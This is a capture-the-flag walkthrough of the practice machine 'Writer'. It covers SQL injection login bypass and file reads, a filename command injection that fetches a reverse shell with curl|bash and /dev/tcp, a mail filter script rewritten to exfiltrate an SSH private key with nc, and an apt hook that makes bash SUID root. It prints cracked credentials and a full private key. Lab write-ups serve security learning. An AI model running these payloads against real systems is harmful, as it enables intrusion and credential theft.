Writer

Enumeration
As usual, we start with an nmap scan, in order to find open ports in the target machine.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.11.101 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Thu Mar 3 21:48:08 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.11.101
Warning: 10.10.11.101 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.101
Host is up (0.091s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
# Nmap done at Thu Mar 3 21:48:25 2022 -- 1 IP address (1 host up) scanned in 17.17 seconds
As we see, ports 22 (SSH), 80 (HTTP), 139 and 445 (SMB) are open. Let's try to obtain more information about the services and versions running on those ports.
nmap -sC -sV -p22,80,139,445 10.10.11.101 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Thu Mar 3 21:49:35 2022 as: nmap -sCV -p22,80,139,445 -oN targeted 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2022-03-03T20:49:49
|_ start_date: N/A
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 3 21:49:51 2022 -- 1 IP address (1 host up) scanned in 15.88 seconds
If we take a look at the website, we'll see a blog which doesn't have anything interesting.

Let's try to enumerate directories with gobuster.
gobuster dir -u http://10.10.11.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
dir
enumerates directories or files.-u
the target URL.-w
path to the wordlist.-t
number of current threads, in this case 200 threads.
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.101
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/03/04 20:04:10 Starting gobuster in directory enumeration mode
===============================================================
/static (Status: 301) [Size: 313] [--> http://10.10.11.101/static/]
/logout (Status: 302) [Size: 208] [--> http://10.10.11.101/]
/contact (Status: 200) [Size: 4905]
/about (Status: 200) [Size: 3522]
/dashboard (Status: 302) [Size: 208] [--> http://10.10.11.101/]
/administrative (Status: 200) [Size: 1443]
/server-status (Status: 403) [Size: 277]
===============================================================
2022/03/04 20:09:24 Finished
===============================================================
Exploitation
If we take a look at the /administrative
directory, we'll see a login page.

At this point, I tried to bypass the login page with a basic SQL injection payload, logging in as the user ' or 1=1-- -
and a random password.

If we hit the Sign in
button, we'll be redirected to the /dashboard
page.

Before inspecting the /dashboard
page, we could try to enumerate the database with the SQL injection we found before. Let's open Burpsuite, and send the log in request to the Repeater.

To enumerate the database, we'll have to know how many columns have the current table. We can do it by selecting n number of columns and keep incrementing the n number until we get a different response. If we select only one column, we should get Admin Panel
as the title of the page.
uname=' union select 1-- -&password=admin

But, if we keep incrementing the number of columns, we'll see that we'll get a different response by selecting six columns.
uname=' union select 1,2,3,4,5,6-- -&password=admin

Now the response has the Redirecting | Writer.HTB
title, and we can also see that the second column appears in the response, which means that if we select something else, like the user of the database, it will appear in the response.
uname=' union select 1,user(),3,4,5,6-- -&password=admin

Now we could try to enumerate the whole database, but I tell you in advance that the only interesting thing that you'll find is a MD5 password hash, which can't be broken. But, as MySQL has the load_file()
function, which allow us to get the content of local files, we could see the system users loading the /etc/passwd
file.
uname=' union select 1,load_file("/etc/passwd"),3,4,5,6-- -&password=admin

Now we know that kyle
and john
are system users. On the other hand, if we go back to the website, we can see that the Wappalyzer extension detected that the website uses an Apache server.

As we can load files, we could load the /etc/apache2/sites-available/000-default.conf
file which is the Apache configuration file of the website.
uname=' union select 1,load_file("/etc/apache2/sites-available/000-default.conf"),3,4,5,6-- -&password=admin

From this information we know that the /static
directory, we found earlier with gobuster, is located in /var/www/writer.htb/writer/static
. And we can also see there is a .wsgi
file. If we take a look at it we should see a python script.
uname=' union select 1,load_file("/var/www/writer.htb/writer.wsgi"),3,4,5,6-- -&password=admin

Welcome #!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
This python script is importing the __init__.py
file from the writer
folder. If we take a look at it, we will see a fairly long script.
uname=' union select 1,loadfile("/var/www/writer.htb/writer/__init__.py"),3,4,5,6-- -&password=admin

As the script has some characters in hexadecimal, to convert them to ASCII I will put the entire code in the hex_script.py
file and execute the following command, so we can read the script more easily on the script.py
file.
cat hex_script.py | sed 's/"/"/g' | sed "s/'/'/g" > script.py
But before inspecting the python script, let's keep exploring the website, now that we have access to the /dashboard
page. We see that there is a Stories section in which we can add or edit stories.

Let's add one story and put some random stuff in all the text fields.

Hit the Save button, intercept the request with Burpsuite and send it to the Repeater. If you look closely at the request, you'll see that the image_url
parameter, which is empty, is a hidden parameter in the /dashboard/stories/add
page.

To understand a bit more what is going on, let's go back to the python script we found earlier. If you inspect the code, you'll see that under the add_story
function, triggered in the /dashboard/stories/add
directory, we can upload files which need to have .jpg
in the name. Those files will be stored in the /var/www/writer.htb/writer/static/img/
folder. The hidden image_url
parameter we found earlier also need to have .jpg
in the name. And the script executes a command at a system level which renames the file indicated on the image_url
parameter.
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')
It's time to get a shell. First, let's set a netcat listener.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
As the script executes a command at a system level, we could try to break it with and execute whatever we want. First, let's create a file called index.html
with the following content.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/4444 0>&1
Next, let's set an HTTP server on port 80 with python.
python -m http.server 80
-m
run library module as a script.
If we change the file_name
of the image
parameter to image.jpg;`curl 10.10.14.11|bash`
and then fill the image_url
parameter with file:///var/www/writer.htb/writer/static/img/test.jpg;curl 10.10.14.11|bash
. The website will upload the image with that name, then it will execute the command on the name which basically will curl our local machine and execute the content on the index.html
file, which sends us back a reverse shell.

------WebKitFormBoundary4r5J0Ufk1wPWlJly
Content-Disposition: form-data; name="image"; filename="test.jpg;`curl 10.10.14.11|bash`"
Content-Type: application/octet-stream
------WebKitFormBoundary4r5J0Ufk1wPWlJly
Content-Disposition: form-data; name="image_url"
file:///var/www/writer.htb/writer/static/img/test.jpg;`curl 10.10.14.11|bash`
And we should get a shell as the www-data
user.
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.101] 59942
bash: cannot set terminal process group (1062): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ whoami
whoami
www-data
Privilege Escalation
Let's set an interactive shell.
script /dev/null -c bash
At this point I started enumerating the machine and I found some credentials for the MySQL server on /etc/mysql/my.cnf
.
cat /etc/mysql/my.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]
# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
Let's connect to the MySQL server with these credentials.
mysql -u djangouser -pDjangoSuperPassword
-u
user for login.-p
password for login.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 196
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [dev]>
Let's see what databases the djangouser
user can access.
show databases;
+--------------------+
| Database |
+--------------------+
| dev |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)
Let's explore the dev
database.
use dev;
Database changed
Let's list the tables of the database.
show tables;
+----------------------------+
| Tables_in_dev |
+----------------------------+
| auth_group |
| auth_group_permissions |
| auth_permission |
| auth_user |
| auth_user_groups |
| auth_user_user_permissions |
| django_admin_log |
| django_content_type |
| django_migrations |
| django_session |
+----------------------------+
10 rows in set (0.001 sec)
Let's see the columns of the auth_user
table.
describe auth_user;
+--------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+--------------+--------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| password | varchar(128) | NO | | NULL | |
| last_login | datetime(6) | YES | | NULL | |
| is_superuser | tinyint(1) | NO | | NULL | |
| username | varchar(150) | NO | UNI | NULL | |
| first_name | varchar(150) | NO | | NULL | |
| last_name | varchar(150) | NO | | NULL | |
| email | varchar(254) | NO | | NULL | |
| is_staff | tinyint(1) | NO | | NULL | |
| is_active | tinyint(1) | NO | | NULL | |
| date_joined | datetime(6) | NO | | NULL | |
+--------------+--------------+------+-----+---------+----------------+
11 rows in set (0.001 sec)
Finally, let's select the columns username, and password from the auth_user
table.
select username, password from auth_user;
+----------+------------------------------------------------------------------------------------------+
| username | password |
+----------+------------------------------------------------------------------------------------------+
| kyle | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= |
+----------+------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)
And we get a password hash. We can break it with hashcat. With the following command we'll see that we'll have to use the 10000 hash type.
hashcat --example-hashes | grep pbkdf2_sha256 -B 11
Hash mode #10000
Name................: Django (PBKDF2-SHA256)
Category............: Framework
Slow.Hash...........: Yes
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Embedded
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure
Example.Hash.Format.: plain
Example.Hash........: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWkE=
If we break the hash with hashcat we'll see that the password is marcoantonio
.
hashcat -a 0 -m 10000 hash /usr/share/wordlists/rockyou.txt
-a
attack mode.-m
hash type.
hashcat (v6.2.5) starting
OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz, 1441/2947 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 5 secs
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10000 (Django (PBKDF2-SHA256))
Hash.Target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=
Time.Started.....: Sun Mar 6 23:09:23 2022 (7 mins, 25 secs)
Time.Estimated...: Sun Mar 6 23:16:48 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 21 H/s (10.36ms) @ Accel:32 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 9408/14344385 (0.07%)
Rejected.........: 0/9408 (0.00%)
Restore.Point....: 9344/14344385 (0.07%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:259072-259999
Candidate.Engine.: Device Generator
Candidates.#1....: jodete -> 120287
Hardware.Mon.#1..: Util: 89%
Started: Sun Mar 6 23:05:30 2022
Stopped: Sun Mar 6 23:16:51 2022
Then I tried to log in with the user kyle
and the password marcoantonio
via SSH, and it worked.
ssh kyle@10.10.11.101
kyle@10.10.11.101's password: marcoantonio
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 7 Mar 09:55:25 UTC 2022
System load: 0.24
Usage of /: 64.7% of 6.82GB
Memory usage: 20%
Swap usage: 0%
Processes: 256
Users logged in: 0
IPv4 address for eth0: 10.10.11.101
IPv6 address for eth0: dead:beef::250:56ff:feb9:16c5
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jul 28 09:03:32 2021 from 10.10.14.19
kyle@writer:~$
Now we can grab the user flag.
cat user.txt
2148d5b4050f19b4a153da1640bedf8f
If we check the groups that the user kyle
is a member of, we can see that he belongs to the filter
group.
id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
Let's see what files have the filter
group as the owner group.
find / -group filter 2>/dev/null
/etc/postfix/disclaimer
/var/spool/filter
As the /var/spool/filter
folder is empty, let's work with the /etc/postfix/disclaimer
file. Let's see its permissions.
ls -l /etc/postfix/disclaimer
-rwxrwxr-x 1 root filter 1021 Mar 7 10:12 /etc/postfix/disclaimer
So we can read, edit and execute the /etc/postfix/disclaimer
file. Postfix is a mail server which runs on port 25.
netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 36 10.10.11.101:22 10.10.14.11:35718 ESTABLISHED
tcp 0 0 10.10.11.101:60234 10.10.14.11:4444 ESTABLISHED
tcp 0 1 10.10.11.101:36806 1.1.1.1:53 SYN_SENT
tcp6 0 0 :::445 :::* LISTEN
tcp6 0 0 :::139 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
And every time an email arrives, the scripts in the file /etc/postfix/master.cf
are executed. Luckily for us, if we see at the bottom of the file, we'll see that the /etc/postfix/disclaimer
is being executed by the user john
.
cat /etc/postfix/master.cf
dfilt unix - n n - - pipe
flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
The user john
has in his home directory the .ssh
folder which might have an id_rsa
file.
ls -la /home/john/
total 28
drwxr-xr-x 4 john john 4096 Aug 5 2021 .
drwxr-xr-x 4 root root 4096 Jul 9 2021 ..
lrwxrwxrwx 1 root root 9 May 19 2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john 220 May 14 2021 .bash_logout
-rw-r--r-- 1 john john 3771 May 14 2021 .bashrc
drwx------ 2 john john 4096 Jul 28 2021 .cache
-rw-r--r-- 1 john john 807 May 14 2021 .profile
drwx------ 2 john john 4096 Jul 9 2021 .ssh
The idea here is to edit the /etc/postfix/disclaimer
file, so when we send a random email, the script will send us the id_rsa
file of the user john
.
We have to send an email to a user that must exists, and we can find some valid emails on the /etc/postfix/disclaimer_addresses
file.
cat /etc/postfix/disclaimer_addresses
root@writer.htb
kyle@writer.htb
Next step, let's create a python script on the writer
machine, which will send an email to kyle@writer.htb
.
import smtplib
smtp_server = "127.0.0.1"
port = 25
sender_email = "kyle@writer.htb"
receiver_email = "kyle@writer.htb"
message = "test"
try:
server = smtplib.SMTP(smtp_server,port)
server.sendmail(sender_email, receiver_email, message)
except Exception as e:
print(e)
finally:
server.quit()
Next, let's set a netcat listener on port 1234, and save the output in a file called id_rsa
.
nc -lvnp 1234 > id_rsa
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Then we will have to edit the /etc/postfix/disclaimer
file, remove everything, and write a command that will send the id_rsa
file of the john
user to our netcat listener.
nano /etc/postfix/disclaimer
#!/bin/sh
nc 10.10.14.11 1234 < /home/john/.ssh/id_rsa
Finally, all we have to do is execute the python script we made to send the random email, and we should get the id_rsa
file of the john
user on our netcat listener.
python3 send.py
On the netcat listener.
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.101] 35196
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Don't worry if this whole process doesn't work at first. Keep changing the /etc/postfix/disclaimer
file and try to execute the send.py
script several times until it works.
Now that we have the id_rsa
file, let's give it the right permissions, and use it to log in with the john
user via ssh.
chmod 600 id_rsa
ssh -i id_rsa john@10.10.11.101
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 7 Mar 11:08:46 UTC 2022
System load: 0.04
Usage of /: 64.8% of 6.82GB
Memory usage: 29%
Swap usage: 0%
Processes: 261
Users logged in: 0
IPv4 address for eth0: 10.10.11.101
IPv6 address for eth0: dead:beef::250:56ff:feb9:16c5
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jul 28 09:19:58 2021 from 10.10.14.19
john@writer:~$
Let's transfer pspy to the writer
machine.
python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On the writer
machine.
wget http://10.10.14.11:8000/pspy64
--2022-03-07 11:31:07-- http://10.10.14.11:8000/pspy64
Connecting to 10.10.14.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[========================================================================================================================================>] 2.94M 1.84MB/s in 1.6s
2022-03-07 11:31:09 (1.84 MB/s) - ‘pspy64’ saved [3078592/3078592]
Let's run it.
chmod +x pspy64 && ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
We will see, among other processes, that an apt-get update
is being executed by the root
user with UID=0
.
2022/03/07 11:32:24 CMD: UID=0 PID=46278 | /usr/bin/apt-get update
2022/03/07 11:32:24 CMD: UID=0 PID=46274 | /bin/sh -c /usr/bin/apt-get update
If we see which groups the user john
belongs to, we can see that he belongs to the management
group.
id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
Let's see what files have the management
group as owner group, and what permissions we have on them.
find / -group management 2>/dev/null | xargs ls -ld
drwxrwxr-x 2 root management 4096 Jul 28 2021 /etc/apt/apt.conf.d
Whenever an apt-get update
is made, all the files on the /etc/apt/apt.conf.d
folder will be executed. And as we have the right permissions to create a file on that folder, and the update is being made by the root
user, we could create a file which will give the SUID permission the /bin/bash
binary before the system update is made.
nano /etc/apt/apt.conf.d/test
APT::Update::Pre-Invoke {"chmod +s /bin/bash";};
Then, we wait until the update is made, and the /bin/bash
should have the SUID permission assigned.
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash
And finally, all we have to do is reap the harvest and take the root flag.
bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
7d9f4abfb9b32589aa8bf5c1a86a5f65
Last updated
Was this helpful?